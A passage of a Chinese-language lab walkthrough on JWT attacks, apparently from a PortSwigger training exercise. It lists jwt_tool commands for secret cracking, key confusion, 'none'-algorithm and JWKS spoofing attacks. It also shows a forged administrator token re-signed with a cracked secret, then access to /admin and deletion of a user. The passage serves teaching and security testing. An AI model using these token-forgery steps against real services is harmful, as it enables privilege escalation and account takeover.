style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">7</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RHTpEcQvkcZOA3knCYmQD0YUg</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">NFMj9fWSFjw </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d secrets</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">txt</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">附加扩展:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">尝试破解密钥</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">HMAC</span><span style="color:black;font-family:宋体;font-size:9.5pt;">算法</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d dictionary</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">txt</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">尝试使用已知的公钥对不对称密码</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RS</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span style="color:black;font-family:宋体;font-size:9.5pt;">,</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">EC</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span style="color:black;font-family:宋体;font-size:9.5pt;">,</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">PS</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-)</span></b><span style="color:black;font-family:宋体;font-size:9.5pt;">进行</span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"</span><span style="color:#4E9A06;font-family:宋体;font-size:9.5pt;">密钥混淆</span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"</span><span style="color:black;font-family:宋体;font-size:9.5pt;">攻击</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">K </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pk my_public</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">pem</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">尝试使用</span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"</span><span style="color:#4E9A06;font-family:宋体;font-size:9.5pt;">无</span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"</span><span style="color:black;font-family:宋体;font-size:9.5pt;">算法来创建未验证的令牌</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">A<br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">处理</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">JSON Web</span><span style="color:black;font-family:宋体;font-size:9.5pt;">密钥存储文件,重建公共密钥,然后测试密钥以查看验证令牌的密钥</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">J </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jw jwks</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">json</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">生成一个新的</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RSA</span><span style="color:black;font-family:宋体;font-size:9.5pt;">密钥对,将公钥作为</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">JSON Web</span><span style="color:black;font-family:宋体;font-size:9.5pt;">密钥存储对象注入令牌并使用私钥对令牌签名</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">I<br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">欺骗远程</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">JWKS</span><span style="color:black;font-family:宋体;font-size:9.5pt;">:生成新的</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RSA</span><span style="color:black;font-family:宋体;font-size:9.5pt;">密钥对,将提供的</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">URL</span><span style="color:black;font-family:宋体;font-size:9.5pt;">注入令牌,将公共密钥导出为</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">JSON Web</span><span style="color:black;font-family:宋体;font-size:9.5pt;">密钥存储对象</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span style="color:black;font-family:宋体;font-size:9.5pt;">以提供的</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">URL</span><span style="color:black;font-family:宋体;font-size:9.5pt;">进行服务</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span style="color:black;font-family:宋体;font-size:9.5pt;">并使用私钥对令牌签名</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT_HERE </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">S </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">u http</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">//example.com/jwks.json</span></i><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:随后在网页端重新设置密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(secret1)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">并重新产生的字符串</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9<br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ccf8b97a-94fe-4c7d-9b61-276f0654c2eb"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"HS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">payload(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">前</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0<br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"iss"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"portswigger"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"sub"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"wiener"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"exp"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1687799959</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">payload(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">新</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"iss"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"portswigger"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"sub"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"administrator"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"exp"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1687799959</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signer:</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">最终高权限的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">如下:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 6</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:访问</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/admin</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">路径</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 7</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:调用接口删除用户完成解答</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">JWT</span></b><b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">头部注入</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">场景介绍</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">如果服务器端使用一个非常脆弱的密钥,我们甚至有可能一个字符一个字符地来暴力破解这个密钥,根据</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">规范只有</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">报头参数是强制的,然而在实践中</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">报头通常包含几个其他参数,以下是攻击者特别感兴趣的:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwk(JSON Web Key)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:提供一个代表密钥的嵌入式</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JSON</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">对象</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jku(JSON Web Key Set URL)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:提供一个</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URL</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,服务器可以从这个</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">URL</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">获取一组包含正确密钥的密钥</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
